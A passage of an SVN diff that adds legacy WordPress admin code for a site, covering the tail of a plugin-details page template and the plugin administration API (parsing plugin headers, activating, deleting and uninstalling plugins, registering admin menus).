+			<li><strong><?php _e('Author:') ?></strong> <?php echo links_add_target($api->author, '_blank') ?></li>
+<?php endif; if ( ! empty($api->last_updated) ) : ?>
+			<li><strong><?php _e('Last Updated:') ?></strong> <span title="<?php echo $api->last_updated ?>"><?php
+							printf( __('%s ago'), human_time_diff(strtotime($api->last_updated)) ) ?></span></li>
+<?php endif; if ( ! empty($api->requires) ) : ?>
+			<li><strong><?php _e('Requires WordPress Version:') ?></strong> <?php printf(__('%s or higher'), $api->requires) ?></li>
+<?php endif; if ( ! empty($api->tested) ) : ?>
+			<li><strong><?php _e('Compatible up to:') ?></strong> <?php echo $api->tested ?></li>
+<?php endif; if ( ! empty($api->downloaded) ) : ?>
+			<li><strong><?php _e('Downloaded:') ?></strong> <?php printf(_n('%s time', '%s times', $api->downloaded), number_format_i18n($api->downloaded)) ?></li>
+<?php endif; if ( ! empty($api->slug) && empty($api->external) ) : ?>
+			<li><a target="_blank" href="http://wordpress.org/extend/plugins/<?php echo $api->slug ?>/"><?php _e('WordPress.org Plugin Page &#187;') ?></a></li>
+<?php endif; if ( ! empty($api->homepage) ) : ?>
+			<li><a target="_blank" href="<?php echo $api->homepage ?>"><?php _e('Plugin Homepage  &#187;') ?></a></li>
+<?php endif; ?>
+		</ul>
+		<?php if ( ! empty($api->rating) ) : ?>
+		<h2><?php _e('Average Rating') ?></h2>
+		<div class="star-holder" title="<?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?>">
+			<div class="star star-rating" style="width: <?php echo esc_attr($api->rating) ?>px"></div>
+			<div class="star star5"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('5 stars') ?>" /></div>
+			<div class="star star4"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('4 stars') ?>" /></div>
+			<div class="star star3"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('3 stars') ?>" /></div>
+			<div class="star star2"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('2 stars') ?>" /></div>
+			<div class="star star1"><img src="<?php echo admin_url('images/star.gif'); ?>" alt="<?php _e('1 star') ?>" /></div>
+		</div>
+		<small><?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?></small>
+		<?php endif; ?>
+	</div>
+	<div id="section-holder" class="wrap">
+	<?php
+		if ( !empty($api->tested) && version_compare( substr($GLOBALS['wp_version'], 0, strlen($api->tested)), $api->tested, '>') )
+			echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your current version of WordPress.') . '</p></div>';
+
+		else if ( !empty($api->requires) && version_compare( substr($GLOBALS['wp_version'], 0, strlen($api->requires)), $api->requires, '<') )
+			echo '<div class="updated"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WordPress.') . '</p></div>';
+
+		foreach ( (array)$api->sections as $section_name => $content ) {
+			$title = $section_name;
+			$title[0] = strtoupper($title[0]);
+			$title = str_replace('_', ' ', $title);
+
+			$content = links_add_base_url($content, 'http://wordpress.org/extend/plugins/' . $api->slug . '/');
+			$content = links_add_target($content, '_blank');
+
+			$san_title = esc_attr(sanitize_title_with_dashes($title));
+
+			$display = ( $section_name == $section ) ? 'block' : 'none';
+
+			echo "\t<div id='section-{$san_title}' class='section' style='display: {$display};'>\n";
+			echo "\t\t<h2 class='long-header'>$title</h2>";
+			echo $content;
+			echo "\t</div>\n";
+		}
+	echo "</div>\n";
+
+	iframe_footer();
+	exit;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/plugin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/plugin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/plugin.php	(revision 44)
@@ -0,0 +1,1151 @@
+<?php
+/**
+ * WordPress Plugin Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Parse the plugin contents to retrieve plugin's metadata.
+ *
+ * The metadata of the plugin's data searches for the following in the plugin's
+ * header. All plugin data must be on its own line. For plugin description, it
+ * must not have any newlines or only parts of the description will be displayed
+ * and the same goes for the plugin data. The below is formatted for printing.
+ *
+ * <code>
+ * /*
+ * Plugin Name: Name of Plugin
+ * Plugin URI: Link to plugin information
+ * Description: Plugin Description
+ * Author: Plugin author's name
+ * Author URI: Link to the author's web site
+ * Version: Must be set in the plugin for WordPress 2.3+
+ * Text Domain: Optional. Unique identifier, should be same as the one used in
+ *		plugin_text_domain()
+ * Domain Path: Optional. Only useful if the translations are located in a
+ *		folder above the plugin's base path. For example, if .mo files are
+ *		located in the locale folder then Domain Path will be "/locale/" and
+ *		must have the first slash. Defaults to the base folder the plugin is
+ *		located in.
+ *  * / # Remove the space to close comment
+ * </code>
+ *
+ * Plugin data returned array contains the following:
+ *		'Name' - Name of the plugin, must be unique.
+ *		'Title' - Title of the plugin and the link to the plugin's web site.
+ *		'Description' - Description of what the plugin does and/or notes
+ *		from the author.
+ *		'Author' - The author's name
+ *		'AuthorURI' - The authors web site address.
+ *		'Version' - The plugin version number.
+ *		'PluginURI' - Plugin web site address.
+ *		'TextDomain' - Plugin's text domain for localization.
+ *		'DomainPath' - Plugin's relative directory path to .mo files.
+ *
+ * Some users have issues with opening large files and manipulating the contents
+ * for want is usually the first 1kiB or 2kiB. This function stops pulling in
+ * the plugin contents when it has all of the required plugin data.
+ *
+ * The first 8kiB of the file will be pulled in and if the plugin data is not
+ * within that first 8kiB, then the plugin author should correct their plugin
+ * and move the plugin data headers to the top.
+ *
+ * The plugin file is assumed to have permissions to allow for scripts to read
+ * the file. This is not checked however and the file is only opened for
+ * reading.
+ *
+ * @link http://trac.wordpress.org/ticket/5651 Previous Optimizations.
+ * @link http://trac.wordpress.org/ticket/7372 Further and better Optimizations.
+ * @since 1.5.0
+ *
+ * @param string $plugin_file Path to the plugin file
+ * @param bool $markup If the returned data should have HTML markup applied
+ * @param bool $translate If the returned data should be translated
+ * @return array See above for description.
+ */
+function get_plugin_data( $plugin_file, $markup = true, $translate = true ) {
+	// We don't need to write to the file, so just open for reading.
+	$fp = fopen($plugin_file, 'r');
+
+	// Pull only the first 8kiB of the file in.
+	$plugin_data = fread( $fp, 8192 );
+
+	// PHP will close file handle, but we are good citizens.
+	fclose($fp);
+
+	preg_match( '|Plugin Name:(.*)$|mi', $plugin_data, $name );
+	preg_match( '|Plugin URI:(.*)$|mi', $plugin_data, $uri );
+	preg_match( '|Version:(.*)|i', $plugin_data, $version );
+	preg_match( '|Description:(.*)$|mi', $plugin_data, $description );
+	preg_match( '|Author:(.*)$|mi', $plugin_data, $author_name );
+	preg_match( '|Author URI:(.*)$|mi', $plugin_data, $author_uri );
+	preg_match( '|Text Domain:(.*)$|mi', $plugin_data, $text_domain );
+	preg_match( '|Domain Path:(.*)$|mi', $plugin_data, $domain_path );
+
+	foreach ( array( 'name', 'uri', 'version', 'description', 'author_name', 'author_uri', 'text_domain', 'domain_path' ) as $field ) {
+		if ( !empty( ${$field} ) )
+			${$field} = _cleanup_header_comment(${$field}[1]);
+		else
+			${$field} = '';
+	}
+
+	$plugin_data = array(
+				'Name' => $name, 'Title' => $name, 'PluginURI' => $uri, 'Description' => $description,
+				'Author' => $author_name, 'AuthorURI' => $author_uri, 'Version' => $version,
+				'TextDomain' => $text_domain, 'DomainPath' => $domain_path
+				);
+	if ( $markup || $translate )
+		$plugin_data = _get_plugin_data_markup_translate($plugin_file, $plugin_data, $markup, $translate);
+
+	return $plugin_data;
+}
+
+function _get_plugin_data_markup_translate($plugin_file, $plugin_data, $markup = true, $translate = true) {
+
+	//Translate fields
+	if( $translate && ! empty($plugin_data['TextDomain']) ) {
+		if( ! empty( $plugin_data['DomainPath'] ) )
+			load_plugin_textdomain($plugin_data['TextDomain'], dirname($plugin_file). $plugin_data['DomainPath']);
+		else
+			load_plugin_textdomain($plugin_data['TextDomain'], dirname($plugin_file));
+
+		foreach ( array('Name', 'PluginURI', 'Description', 'Author', 'AuthorURI', 'Version') as $field )
+			$plugin_data[ $field ] = translate($plugin_data[ $field ], $plugin_data['TextDomain']);
+	}
+
+	//Apply Markup
+	if ( $markup ) {
+		if ( ! empty($plugin_data['PluginURI']) && ! empty($plugin_data['Name']) )
+			$plugin_data['Title'] = '<a href="' . $plugin_data['PluginURI'] . '" title="' . __( 'Visit plugin homepage' ) . '">' . $plugin_data['Name'] . '</a>';
+		else
+			$plugin_data['Title'] = $plugin_data['Name'];
+
+		if ( ! empty($plugin_data['AuthorURI']) && ! empty($plugin_data['Author']) )
+			$plugin_data['Author'] = '<a href="' . $plugin_data['AuthorURI'] . '" title="' . __( 'Visit author homepage' ) . '">' . $plugin_data['Author'] . '</a>';
+
+		$plugin_data['Description'] = wptexturize( $plugin_data['Description'] );
+		if( ! empty($plugin_data['Author']) )
+			$plugin_data['Description'] .= ' <cite>' . sprintf( __('By %s'), $plugin_data['Author'] ) . '.</cite>';
+	}
+
+	$plugins_allowedtags = array('a' => array('href' => array(),'title' => array()),'abbr' => array('title' => array()),'acronym' => array('title' => array()),'code' => array(),'em' => array(),'strong' => array());
+
+	// Sanitize all displayed data
+	$plugin_data['Title']       = wp_kses($plugin_data['Title'], $plugins_allowedtags);
+	$plugin_data['Version']     = wp_kses($plugin_data['Version'], $plugins_allowedtags);
+	$plugin_data['Description'] = wp_kses($plugin_data['Description'], $plugins_allowedtags);
+	$plugin_data['Author']      = wp_kses($plugin_data['Author'], $plugins_allowedtags);
+
+	return $plugin_data;
+}
+
+/**
+ * Get a list of a plugin's files.
+ *
+ * @since 2.8.0
+ *
+ * @param string $plugin Plugin ID
+ * @return array List of files relative to the plugin root.
+ */
+function get_plugin_files($plugin) {
+	$plugin_file = WP_PLUGIN_DIR . '/' . $plugin;
+	$dir = dirname($plugin_file);
+	$plugin_files = array($plugin);
+	if ( is_dir($dir) && $dir != WP_PLUGIN_DIR ) {
+		$plugins_dir = @ opendir( $dir );
+		if ( $plugins_dir ) {
+			while (($file = readdir( $plugins_dir ) ) !== false ) {
+				if ( substr($file, 0, 1) == '.' )
+					continue;
+				if ( is_dir( $dir . '/' . $file ) ) {
+					$plugins_subdir = @ opendir( $dir . '/' . $file );
+					if ( $plugins_subdir ) {
+						while (($subfile = readdir( $plugins_subdir ) ) !== false ) {
+							if ( substr($subfile, 0, 1) == '.' )
+								continue;
+							$plugin_files[] = plugin_basename("$dir/$file/$subfile");
+						}
+						@closedir( $plugins_subdir );
+					}
+				} else {
+					if ( plugin_basename("$dir/$file") != $plugin )
+						$plugin_files[] = plugin_basename("$dir/$file");
+				}
+			}
+			@closedir( $plugins_dir );
+		}
+	}
+
+	return $plugin_files;
+}
+
+/**
+ * Check the plugins directory and retrieve all plugin files with plugin data.
+ *
+ * WordPress only supports plugin files in the base plugins directory
+ * (wp-content/plugins) and in one directory above the plugins directory
+ * (wp-content/plugins/my-plugin). The file it looks for has the plugin data and
+ * must be found in those two locations. It is recommended that do keep your
+ * plugin files in directories.
+ *
+ * The file with the plugin data is the file that will be included and therefore
+ * needs to have the main execution for the plugin. This does not mean
+ * everything must be contained in the file and it is recommended that the file
+ * be split for maintainability. Keep everything in one file for extreme
+ * optimization purposes.
+ *
+ * @since unknown
+ *
+ * @param string $plugin_folder Optional. Relative path to single plugin folder.
+ * @return array Key is the plugin file path and the value is an array of the plugin data.
+ */
+function get_plugins($plugin_folder = '') {
+
+	if ( ! $cache_plugins = wp_cache_get('plugins', 'plugins') )
+		$cache_plugins = array();
+
+	if ( isset($cache_plugins[ $plugin_folder ]) )
+		return $cache_plugins[ $plugin_folder ];
+
+	$wp_plugins = array ();
+	$plugin_root = WP_PLUGIN_DIR;
+	if( !empty($plugin_folder) )
+		$plugin_root .= $plugin_folder;
+
+	// Files in wp-content/plugins directory
+	$plugins_dir = @ opendir( $plugin_root);
+	$plugin_files = array();
+	if ( $plugins_dir ) {
+		while (($file = readdir( $plugins_dir ) ) !== false ) {
+			if ( substr($file, 0, 1) == '.' )
+				continue;
+			if ( is_dir( $plugin_root.'/'.$file ) ) {
+				$plugins_subdir = @ opendir( $plugin_root.'/'.$file );
+				if ( $plugins_subdir ) {
+					while (($subfile = readdir( $plugins_subdir ) ) !== false ) {
+						if ( substr($subfile, 0, 1) == '.' )
+							continue;
+						if ( substr($subfile, -4) == '.php' )
+							$plugin_files[] = "$file/$subfile";
+					}
+				}
+			} else {
+				if ( substr($file, -4) == '.php' )
+					$plugin_files[] = $file;
+			}
+		}
+	}
+	@closedir( $plugins_dir );
+	@closedir( $plugins_subdir );
+
+	if ( !$plugins_dir || empty($plugin_files) )
+		return $wp_plugins;
+
+	foreach ( $plugin_files as $plugin_file ) {
+		if ( !is_readable( "$plugin_root/$plugin_file" ) )
+			continue;
+
+		$plugin_data = get_plugin_data( "$plugin_root/$plugin_file", false, false ); //Do not apply markup/translate as it'll be cached.
+
+		if ( empty ( $plugin_data['Name'] ) )
+			continue;
+
+		$wp_plugins[plugin_basename( $plugin_file )] = $plugin_data;
+	}
+
+	uasort( $wp_plugins, create_function( '$a, $b', 'return strnatcasecmp( $a["Name"], $b["Name"] );' ));
+
+	$cache_plugins[ $plugin_folder ] = $wp_plugins;
+	wp_cache_set('plugins', $cache_plugins, 'plugins');
+
+	return $wp_plugins;
+}
+
+/**
+ * Check whether the plugin is active by checking the active_plugins list.
+ *
+ * @since 2.5.0
+ *
+ * @param string $plugin Base plugin path from plugins directory.
+ * @return bool True, if in the active plugins list. False, not in the list.
+ */
+function is_plugin_active($plugin) {
+	return in_array($plugin, get_option('active_plugins'));
+}
+
+/**
+ * Attempts activation of plugin in a "sandbox" and redirects on success.
+ *
+ * A plugin that is already activated will not attempt to be activated again.
+ *
+ * The way it works is by setting the redirection to the error before trying to
+ * include the plugin file. If the plugin fails, then the redirection will not
+ * be overwritten with the success message. Also, the options will not be
+ * updated and the activation hook will not be called on plugin error.
+ *
+ * It should be noted that in no way the below code will actually prevent errors
+ * within the file. The code should not be used elsewhere to replicate the
+ * "sandbox", which uses redirection to work.
+ * {@source 13 1}
+ *
+ * If any errors are found or text is outputted, then it will be captured to
+ * ensure that the success redirection will update the error redirection.
+ *
+ * @since unknown
+ *
+ * @param string $plugin Plugin path to main plugin file with plugin data.
+ * @param string $redirect Optional. URL to redirect to.
+ * @return WP_Error|null WP_Error on invalid file or null on success.
+ */
+function activate_plugin($plugin, $redirect = '') {
+	$current = get_option('active_plugins');
+	$plugin = plugin_basename(trim($plugin));
+
+	$valid = validate_plugin($plugin);
+	if ( is_wp_error($valid) )
+		return $valid;
+
+	if ( !in_array($plugin, $current) ) {
+		if ( !empty($redirect) )
+			wp_redirect(add_query_arg('_error_nonce', wp_create_nonce('plugin-activation-error_' . $plugin), $redirect)); // we'll override this later if the plugin can be included without fatal error
+		ob_start();
+		@include(WP_PLUGIN_DIR . '/' . $plugin);
+		$current[] = $plugin;
+		sort($current);
+		update_option('active_plugins', $current);
+		do_action('activate_' . $plugin);
+		ob_end_clean();
+	}
+
+	return null;
+}
+
+/**
+ * Deactivate a single plugin or multiple plugins.
+ *
+ * The deactivation hook is disabled by the plugin upgrader by using the $silent
+ * parameter.
+ *
+ * @since unknown
+ *
+ * @param string|array $plugins Single plugin or list of plugins to deactivate.
+ * @param bool $silent Optional, default is false. Prevent calling deactivate hook.
+ */
+function deactivate_plugins($plugins, $silent= false) {
+	$current = get_option('active_plugins');
+
+	if ( !is_array($plugins) )
+		$plugins = array($plugins);
+
+	foreach ( $plugins as $plugin ) {
+		$plugin = plugin_basename($plugin);
+		if( ! is_plugin_active($plugin) )
+			continue;
+		array_splice($current, array_search( $plugin, $current), 1 ); // Fixed Array-fu!
+		if ( ! $silent ) //Used by Plugin updater to internally deactivate plugin, however, not to notify plugins of the fact to prevent plugin output.
+			do_action('deactivate_' . trim( $plugin ));
+	}
+
+	update_option('active_plugins', $current);
+}
+
+/**
+ * Activate multiple plugins.
+ *
+ * When WP_Error is returned, it does not mean that one of the plugins had
+ * errors. It means that one or more of the plugins file path was invalid.
+ *
+ * The execution will be halted as soon as one of the plugins has an error.
+ *
+ * @since unknown
+ *
+ * @param string|array $plugins
+ * @param string $redirect Redirect to page after successful activation.
+ * @return bool|WP_Error True when finished or WP_Error if there were errors during a plugin activation.
+ */
+function activate_plugins($plugins, $redirect = '') {
+	if ( !is_array($plugins) )
+		$plugins = array($plugins);
+
+	$errors = array();
+	foreach ( (array) $plugins as $plugin ) {
+		if ( !empty($redirect) )
+			$redirect = add_query_arg('plugin', $plugin, $redirect);
+		$result = activate_plugin($plugin, $redirect);
+		if ( is_wp_error($result) )
+			$errors[$plugin] = $result;
+	}
+
+	if ( !empty($errors) )
+		return new WP_Error('plugins_invalid', __('One of the plugins is invalid.'), $errors);
+
+	return true;
+}
+
+/**
+ * Remove directory and files of a plugin for a single or list of plugin(s).
+ *
+ * If the plugins parameter list is empty, false will be returned. True when
+ * completed.
+ *
+ * @since unknown
+ *
+ * @param array $plugins List of plugin
+ * @param string $redirect Redirect to page when complete.
+ * @return mixed
+ */
+function delete_plugins($plugins, $redirect = '' ) {
+	global $wp_filesystem;
+
+	if( empty($plugins) )
+		return false;
+
+	$checked = array();
+	foreach( $plugins as $plugin )
+		$checked[] = 'checked[]=' . $plugin;
+
+	ob_start();
+	$url = wp_nonce_url('plugins.php?action=delete-selected&verify-delete=1&' . implode('&', $checked), 'bulk-manage-plugins');
+	if ( false === ($credentials = request_filesystem_credentials($url)) ) {
+		$data = ob_get_contents();
+		ob_end_clean();
+		if( ! empty($data) ){
+			include_once( ABSPATH . 'wp-admin/admin-header.php');
+			echo $data;
+			include( ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		}
+		return;
+	}
+
+	if ( ! WP_Filesystem($credentials) ) {
+		request_filesystem_credentials($url, '', true); //Failed to connect, Error and request again
+		$data = ob_get_contents();
+		ob_end_clean();
+		if( ! empty($data) ){
+			include_once( ABSPATH . 'wp-admin/admin-header.php');
+			echo $data;
+			include( ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		}
+		return;
+	}
+
+	if ( ! is_object($wp_filesystem) )
+		return new WP_Error('fs_unavailable', __('Could not access filesystem.'));
+
+	if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
+		return new WP_Error('fs_error', __('Filesystem error'), $wp_filesystem->errors);
+
+	//Get the base plugin folder
+	$plugins_dir = $wp_filesystem->wp_plugins_dir();
+	if ( empty($plugins_dir) )
+		return new WP_Error('fs_no_plugins_dir', __('Unable to locate WordPress Plugin directory.'));
+
+	$plugins_dir = trailingslashit( $plugins_dir );
+
+	$errors = array();
+
+	foreach( $plugins as $plugin_file ) {
+		// Run Uninstall hook
+		if ( is_uninstallable_plugin( $plugin_file ) )
+			uninstall_plugin($plugin_file);
+
+		$this_plugin_dir = trailingslashit( dirname($plugins_dir . $plugin_file) );
+		// If plugin is in its own directory, recursively delete the directory.
+		if ( strpos($plugin_file, '/') && $this_plugin_dir != $plugins_dir ) //base check on if plugin includes directory seperator AND that its not the root plugin folder
+			$deleted = $wp_filesystem->delete($this_plugin_dir, true);
+		else
+			$deleted = $wp_filesystem->delete($plugins_dir . $plugin_file);
+
+		if ( ! $deleted )
+			$errors[] = $plugin_file;
+	}
+
+	if ( ! empty($errors) )
+		return new WP_Error('could_not_remove_plugin', sprintf(__('Could not fully remove the plugin(s) %s'), implode(', ', $errors)) );
+
+	// Force refresh of plugin update information
+	if ( $current = get_transient('update_plugins') ) {
+		unset( $current->response[ $plugin_file ] );
+		set_transient('update_plugins', $current);
+	}
+
+	return true;
+}
+
+function validate_active_plugins() {
+	$check_plugins = get_option('active_plugins');
+
+	// Sanity check.  If the active plugin list is not an array, make it an
+	// empty array.
+	if ( !is_array($check_plugins) ) {
+		update_option('active_plugins', array());
+		return;
+	}
+
+	//Invalid is any plugin that is deactivated due to error.
+	$invalid = array();
+
+	// If a plugin file does not exist, remove it from the list of active
+	// plugins.
+	foreach ( $check_plugins as $check_plugin ) {
+		$result = validate_plugin($check_plugin);
+		if ( is_wp_error( $result ) ) {
+			$invalid[$check_plugin] = $result;
+			deactivate_plugins( $check_plugin, true);
+		}
+	}
+	return $invalid;
+}
+
+/**
+ * Validate the plugin path.
+ *
+ * Checks that the file exists and {@link validate_file() is valid file}.
+ *
+ * @since unknown
+ *
+ * @param string $plugin Plugin Path
+ * @return WP_Error|int 0 on success, WP_Error on failure.
+ */
+function validate_plugin($plugin) {
+	if ( validate_file($plugin) )
+		return new WP_Error('plugin_invalid', __('Invalid plugin path.'));
+	if ( ! file_exists(WP_PLUGIN_DIR . '/' . $plugin) )
+		return new WP_Error('plugin_not_found', __('Plugin file does not exist.'));
+
+	$installed_plugins = get_plugins();
+	if ( ! isset($installed_plugins[$plugin]) )
+		return new WP_Error('no_plugin_header', __('The plugin does not have a valid header.'));
+	return 0;
+}
+
+/**
+ * Whether the plugin can be uninstalled.
+ *
+ * @since 2.7.0
+ *
+ * @param string $plugin Plugin path to check.
+ * @return bool Whether plugin can be uninstalled.
+ */
+function is_uninstallable_plugin($plugin) {
+	$file = plugin_basename($plugin);
+
+	$uninstallable_plugins = (array) get_option('uninstall_plugins');
+	if ( isset( $uninstallable_plugins[$file] ) || file_exists( WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php' ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Uninstall a single plugin.
+ *
+ * Calls the uninstall hook, if it is available.
+ *
+ * @since 2.7.0
+ *
+ * @param string $plugin Relative plugin path from Plugin Directory.
+ */
+function uninstall_plugin($plugin) {
+	$file = plugin_basename($plugin);
+
+	$uninstallable_plugins = (array) get_option('uninstall_plugins');
+	if ( file_exists( WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php' ) ) {
+		if ( isset( $uninstallable_plugins[$file] ) ) {
+			unset($uninstallable_plugins[$file]);
+			update_option('uninstall_plugins', $uninstallable_plugins);
+		}
+		unset($uninstallable_plugins);
+
+		define('WP_UNINSTALL_PLUGIN', $file);
+		include WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php';
+
+		return true;
+	}
+
+	if ( isset( $uninstallable_plugins[$file] ) ) {
+		$callable = $uninstallable_plugins[$file];
+		unset($uninstallable_plugins[$file]);
+		update_option('uninstall_plugins', $uninstallable_plugins);
+		unset($uninstallable_plugins);
+
+		include WP_PLUGIN_DIR . '/' . $file;
+
+		add_action( 'uninstall_' . $file, $callable );
+		do_action( 'uninstall_' . $file );
+	}
+}
+
+//
+// Menu
+//
+
+function add_menu_page( $page_title, $menu_title, $access_level, $file, $function = '', $icon_url = '' ) {
+	global $menu, $admin_page_hooks, $_registered_pages;
+
+	$file = plugin_basename( $file );
+
+	$admin_page_hooks[$file] = sanitize_title( $menu_title );
+
+	$hookname = get_plugin_page_hookname( $file, '' );
+	if (!empty ( $function ) && !empty ( $hookname ))
+		add_action( $hookname, $function );
+
+	if ( empty($icon_url) )
+		$icon_url = 'images/generic.png';
+	elseif ( is_ssl() && 0 === strpos($icon_url, 'http://') )
+		$icon_url = 'https://' . substr($icon_url, 7);
+
+	$menu[] = array ( $menu_title, $access_level, $file, $page_title, 'menu-top ' . $hookname, $hookname, $icon_url );
+
+	$_registered_pages[$hookname] = true;
+
+	return $hookname;
+}
+
+function add_object_page( $page_title, $menu_title, $access_level, $file, $function = '', $icon_url = '') {
+	global $menu, $admin_page_hooks, $_wp_last_object_menu, $_registered_pages;
+
+	$file = plugin_basename( $file );
+
+	$admin_page_hooks[$file] = sanitize_title( $menu_title );
+
+	$hookname = get_plugin_page_hookname( $file, '' );
+	if (!empty ( $function ) && !empty ( $hookname ))
+		add_action( $hookname, $function );
+
+	if ( empty($icon_url) )
+		$icon_url = 'images/generic.png';
+
+	$_wp_last_object_menu++;
+
+	$menu[$_wp_last_object_menu] = array ( $menu_title, $access_level, $file, $page_title, 'menu-top ' . $hookname, $hookname, $icon_url );
+
+	$_registered_pages[$hookname] = true;
+
+	return $hookname;
+}
+
+function add_utility_page( $page_title, $menu_title, $access_level, $file, $function = '', $icon_url = '') {
+	global $menu, $admin_page_hooks, $_wp_last_utility_menu, $_registered_pages;
+
+	$file = plugin_basename( $file );
+
+	$admin_page_hooks[$file] = sanitize_title( $menu_title );
+
+	$hookname = get_plugin_page_hookname( $file, '' );
+	if (!empty ( $function ) && !empty ( $hookname ))
+		add_action( $hookname, $function );
+
+	if ( empty($icon_url) )
+		$icon_url = 'images/generic.png';
+	elseif ( is_ssl() && 0 === strpos($icon_url, 'http://') )
+		$icon_url = 'https://' . substr($icon_url, 7);
+
+	$_wp_last_utility_menu++;
+
+	$menu[$_wp_last_utility_menu] = array ( $menu_title, $access_level, $file, $page_title, 'menu-top ' . $hookname, $hookname, $icon_url );
+
+	$_registered_pages[$hookname] = true;
+
+	return $hookname;
+}
+
+function add_submenu_page( $parent, $page_title, $menu_title, $access_level, $file, $function = '' ) {
+	global $submenu;
+	global $menu;
+	global $_wp_real_parent_file;
+	global $_wp_submenu_nopriv;
+	global $_registered_pages;
+
+	$file = plugin_basename( $file );
+
+	$parent = plugin_basename( $parent);
+	if ( isset( $_wp_real_parent_file[$parent] ) )
+		$parent = $_wp_real_parent_file[$parent];
+
+	if ( !current_user_can( $access_level ) ) {
+		$_wp_submenu_nopriv[$parent][$file] = true;
+		return false;
+	}
+
+	// If the parent doesn't already have a submenu, add a link to the parent
+	// as the first item in the submenu.  If the submenu file is the same as the
+	// parent file someone is trying to link back to the parent manually.  In
+	// this case, don't automatically add a link back to avoid duplication.
+	if (!isset( $submenu[$parent] ) && $file != $parent  ) {
+		foreach ( (array)$menu as $parent_menu ) {
+			if ( $parent_menu[2] == $parent && current_user_can( $parent_menu[1] ) )
+				$submenu[$parent][] = $parent_menu;
+		}
+	}
+
+	$submenu[$parent][] = array ( $menu_title, $access_level, $file, $page_title );
+
+	$hookname = get_plugin_page_hookname( $file, $parent);
+	if (!empty ( $function ) && !empty ( $hookname ))
+		add_action( $hookname, $function );
+
+	$_registered_pages[$hookname] = true;
+	// backwards-compatibility for plugins using add_management page.  See wp-admin/admin.php for redirect from edit.php to tools.php
+	if ( 'tools.php' == $parent ) 
+		$_registered_pages[get_plugin_page_hookname( $file, 'edit.php')] = true;
+
+	return $hookname;
+}
+
+/**
+ * Add sub menu page to the tools main menu.
+ *
+ * @param string $page_title
+ * @param unknown_type $menu_title
+ * @param unknown_type $access_level
+ * @param unknown_type $file
+ * @param unknown_type $function
+ * @return unknown
+ */
+function add_management_page( $page_title, $menu_title, $access_level, $file, $function = '' ) {
+	return add_submenu_page( 'tools.php', $page_title, $menu_title, $access_level, $file, $function );
+}
+
+function add_options_page( $page_title, $menu_title, $access_level, $file, $function = '' ) {
+	return add_submenu_page( 'options-general.php', $page_title, $menu_title, $access_level, $file, $function );
+}
+
+function add_theme_page( $page_title, $menu_title, $access_level, $file, $function = '' ) {
+	return add_submenu_page( 'themes.php', $page_title, $menu_title, $access_level, $file, $function );
+}
+
+function add_users_page( $page_title, $menu_title, $access_level, $file, $function = '' ) {
+	if ( current_user_can('edit_users') )
+		$parent = 'users.php';
+	else
+		$parent = 'profile.php';
+	return add_submenu_page( $parent, $page_title, $menu_title, $access_level, $file, $function );
+}
+
+function add_dashboard_page( $page_title, $menu_title, $access_level, $file, $function = '' ) {
+	return add_submenu_page( 'index.php', $page_title, $menu_title, $access_level, $file, $function );
+}
+
+function add_posts_page( $page_title, $menu_title, $access_level, $file, $function = '' ) {
+	return add_submenu_page( 'edit.php', $page_title, $menu_title, $access_level, $file, $function );
+}
+
+function add_media_page( $page_title, $menu_title, $access_level, $file, $function = '' ) {
+	return add_submenu_page( 'upload.php', $page_title, $menu_title, $access_level, $file, $function );
+}
+
+function add_links_page( $page_title, $menu_title, $access_level, $file, $function = '' ) {
+	return add_submenu_page( 'link-manager.php', $page_title, $menu_title, $access_level, $file, $function );
+}
+
+function add_pages_page( $page_title, $menu_title, $access_level, $file, $function = '' ) {
+	return add_submenu_page( 'edit-pages.php', $page_title, $menu_title, $access_level, $file, $function );
+}
+
+function add_comments_page( $page_title, $menu_title, $access_level, $file, $function = '' ) {
+	return add_submenu_page( 'edit-comments.php', $page_title, $menu_title, $access_level, $file, $function );
+}
+
+//
+// Pluggable Menu Support -- Private
+//
+
+function get_admin_page_parent( $parent = '' ) {
+	global $parent_file;
+	global $menu;
+	global $submenu;
+	global $pagenow;
+	global $plugin_page;
+	global $_wp_real_parent_file;
+	global $_wp_menu_nopriv;
+	global $_wp_submenu_nopriv;
+
+	if ( !empty ( $parent ) && 'admin.php' != $parent ) {
+		if ( isset( $_wp_real_parent_file[$parent] ) )
+			$parent = $_wp_real_parent_file[$parent];
+		return $parent;
+	}
+/*
+	if ( !empty ( $parent_file ) ) {
+		if ( isset( $_wp_real_parent_file[$parent_file] ) )
+			$parent_file = $_wp_real_parent_file[$parent_file];
+
+		return $parent_file;
+	}
+*/
+
+	if ( $pagenow == 'admin.php' && isset( $plugin_page ) ) {
+		foreach ( (array)$menu as $parent_menu ) {
+			if ( $parent_menu[2] == $plugin_page ) {
+				$parent_file = $plugin_page;
+				if ( isset( $_wp_real_parent_file[$parent_file] ) )
+					$parent_file = $_wp_real_parent_file[$parent_file];
+				return $parent_file;
+			}
+		}
+		if ( isset( $_wp_menu_nopriv[$plugin_page] ) ) {
+			$parent_file = $plugin_page;
+			if ( isset( $_wp_real_parent_file[$parent_file] ) )
+					$parent_file = $_wp_real_parent_file[$parent_file];
+			return $parent_file;
+		}
+	}
+
+	if ( isset( $plugin_page ) && isset( $_wp_submenu_nopriv[$pagenow][$plugin_page] ) ) {
+		$parent_file = $pagenow;
